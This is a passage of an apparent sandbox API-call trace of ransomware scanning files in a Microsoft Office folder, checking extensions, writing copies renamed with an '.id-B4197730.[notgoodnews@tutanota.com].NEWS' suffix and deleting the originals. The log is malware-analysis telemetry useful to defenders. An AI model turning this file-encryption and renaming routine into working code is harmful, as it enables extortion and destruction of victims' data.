lstrlenW (lpString=".7z") returned 3 [0174.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString=".dbf") returned 4 [0174.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString=".1cd") returned 4 [0174.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString=".jpg") returned 4 [0174.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString=".doc") returned 4 [0174.299] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".docx") returned 5 [0174.299] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0174.299] lstrlenW (lpString=".pdf") returned 4 [0174.299] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".xls") returned 4 [0174.299] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".xlsx") returned 5 [0174.299] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0174.299] lstrlenW (lpString=".ppt") returned 4 [0174.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.299] lstrlenW (lpString=".zip") returned 4 [0174.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".rar") returned 4 [0174.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.299] lstrlenW (lpString=".bz2") returned 4 [0174.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.299] lstrlenW (lpString=".7z") returned 3 [0174.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.300] lstrlenW (lpString=".dbf") returned 4 [0174.300] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.300] lstrlenW (lpString=".1cd") returned 4 [0174.300] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0174.300] lstrlenW (lpString=".jpg") returned 4 [0174.300] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.300] lstrcmpiW (lpString1=".manifest", lpString2=".NEWS") returned -1 [0174.300] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0174.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.301] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=707) returned 1 [0174.301] CloseHandle (hObject=0x518) returned 1 [0174.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0174.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.301] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.301] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0174.304] GetLastError () returned 0x0 [0174.304] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0174.308] WriteFile (in: hFile=0x370, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0174.309] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.309] WriteFile (in: hFile=0x370, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x108, lpOverlapped=0x0) returned 1 [0174.309] SetEndOfFile (hFile=0x370) returned 1 [0174.309] CloseHandle (hObject=0x370) returned 1 [0174.310] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.310] SetEndOfFile (hFile=0x518) returned 1 [0174.312] CloseHandle (hObject=0x518) returned 1 [0174.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0174.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.314] lstrlenW (lpString=".doc") returned 4 [0174.314] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.314] lstrlenW (lpString=".docx") returned 5 [0174.314] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.314] lstrlenW (lpString=".pdf") returned 4 [0174.314] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.314] lstrlenW (lpString=".xls") returned 4 [0174.314] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.314] lstrlenW (lpString=".xlsx") returned 5 [0174.314] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.314] lstrlenW (lpString=".ppt") returned 4 [0174.314] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".zip") returned 4 [0174.315] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".rar") returned 4 [0174.315] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".bz2") returned 4 [0174.315] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".7z") returned 3 [0174.315] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".dbf") returned 4 [0174.315] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".1cd") returned 4 [0174.315] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".jpg") returned 4 [0174.315] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".doc") returned 4 [0174.315] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".docx") returned 5 [0174.315] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.315] lstrlenW (lpString=".pdf") returned 4 [0174.315] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".xls") returned 4 [0174.315] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".xlsx") returned 5 [0174.315] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.315] lstrlenW (lpString=".ppt") returned 4 [0174.315] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.315] lstrlenW (lpString=".zip") returned 4 [0174.315] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.315] lstrlenW (lpString=".rar") returned 4 [0174.316] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.316] lstrlenW (lpString=".bz2") returned 4 [0174.316] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.316] lstrlenW (lpString=".7z") returned 3 [0174.316] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.316] lstrlenW (lpString=".dbf") returned 4 [0174.316] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.316] lstrlenW (lpString=".1cd") returned 4 [0174.316] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0174.316] lstrlenW (lpString=".jpg") returned 4 [0174.316] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.316] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.316] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0174.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.318] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=194776) returned 1 [0174.318] CloseHandle (hObject=0x518) returned 1 [0174.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0174.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.318] lstrlenW (lpString=".doc") returned 4 [0174.318] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.318] lstrlenW (lpString=".docx") returned 5 [0174.318] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0174.318] lstrlenW (lpString=".pdf") returned 4 [0174.319] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString=".xls") returned 4 [0174.319] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString=".xlsx") returned 5 [0174.319] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0174.319] lstrlenW (lpString=".ppt") returned 4 [0174.319] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString=".zip") returned 4 [0174.319] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString=".rar") returned 4 [0174.319] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString=".bz2") returned 4 [0174.319] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.319] lstrlenW (lpString=".7z") returned 3 [0174.319] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString=".dbf") returned 4 [0174.319] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString=".1cd") returned 4 [0174.319] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString=".jpg") returned 4 [0174.319] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.319] lstrlenW (lpString=".doc") returned 4 [0174.319] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.319] lstrlenW (lpString=".docx") returned 5 [0174.319] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0174.319] lstrlenW (lpString=".pdf") returned 4 [0174.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.320] lstrlenW (lpString=".xls") returned 4 [0174.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.320] lstrlenW (lpString=".xlsx") returned 5 [0174.320] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0174.320] lstrlenW (lpString=".ppt") returned 4 [0174.320] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.320] lstrlenW (lpString=".zip") returned 4 [0174.320] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.320] lstrlenW (lpString=".rar") returned 4 [0174.320] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.320] lstrlenW (lpString=".bz2") returned 4 [0174.320] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.320] lstrlenW (lpString=".7z") returned 3 [0174.320] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.320] lstrlenW (lpString=".dbf") returned 4 [0174.320] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.320] lstrlenW (lpString=".1cd") returned 4 [0174.320] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0174.320] lstrlenW (lpString=".jpg") returned 4 [0174.320] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.320] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.320] lstrlenW (lpString="concrt140.dll") returned 13 [0174.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.322] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=243520) returned 1 [0174.322] CloseHandle (hObject=0x518) returned 1 [0174.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0174.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.323] lstrlenW (lpString=".doc") returned 4 [0174.323] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.323] lstrlenW (lpString=".docx") returned 5 [0174.323] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.324] lstrlenW (lpString=".pdf") returned 4 [0174.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".xls") returned 4 [0174.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".xlsx") returned 5 [0174.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.324] lstrlenW (lpString=".ppt") returned 4 [0174.324] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString=".zip") returned 4 [0174.324] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".rar") returned 4 [0174.324] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".bz2") returned 4 [0174.324] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.324] lstrlenW (lpString=".7z") returned 3 [0174.324] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString=".dbf") returned 4 [0174.324] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString=".1cd") returned 4 [0174.324] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString=".jpg") returned 4 [0174.324] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.324] lstrlenW (lpString=".doc") returned 4 [0174.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".docx") returned 5 [0174.324] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.324] lstrlenW (lpString=".pdf") returned 4 [0174.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.324] lstrlenW (lpString=".xls") returned 4 [0174.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.325] lstrlenW (lpString=".xlsx") returned 5 [0174.325] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.325] lstrlenW (lpString=".ppt") returned 4 [0174.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.325] lstrlenW (lpString=".zip") returned 4 [0174.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.325] lstrlenW (lpString=".rar") returned 4 [0174.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.325] lstrlenW (lpString=".bz2") returned 4 [0174.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.325] lstrlenW (lpString=".7z") returned 3 [0174.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.325] lstrlenW (lpString=".dbf") returned 4 [0174.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.325] lstrlenW (lpString=".1cd") returned 4 [0174.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0174.325] lstrlenW (lpString=".jpg") returned 4 [0174.325] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.325] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0174.325] lstrlenW (lpString="Flattener.exe") returned 13 [0174.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.328] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=45664) returned 1 [0174.328] CloseHandle (hObject=0x518) returned 1 [0174.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0174.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.328] lstrlenW (lpString=".doc") returned 4 [0174.328] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.328] lstrlenW (lpString=".docx") returned 5 [0174.328] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0174.328] lstrlenW (lpString=".pdf") returned 4 [0174.328] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.328] lstrlenW (lpString=".xls") returned 4 [0174.329] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString=".xlsx") returned 5 [0174.329] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0174.329] lstrlenW (lpString=".ppt") returned 4 [0174.329] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW (lpString=".zip") returned 4 [0174.329] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString=".rar") returned 4 [0174.329] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString=".bz2") returned 4 [0174.329] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.329] lstrlenW (lpString=".7z") returned 3 [0174.329] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW (lpString=".dbf") returned 4 [0174.329] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW (lpString=".1cd") returned 4 [0174.329] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW (lpString=".jpg") returned 4 [0174.329] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0174.329] lstrlenW 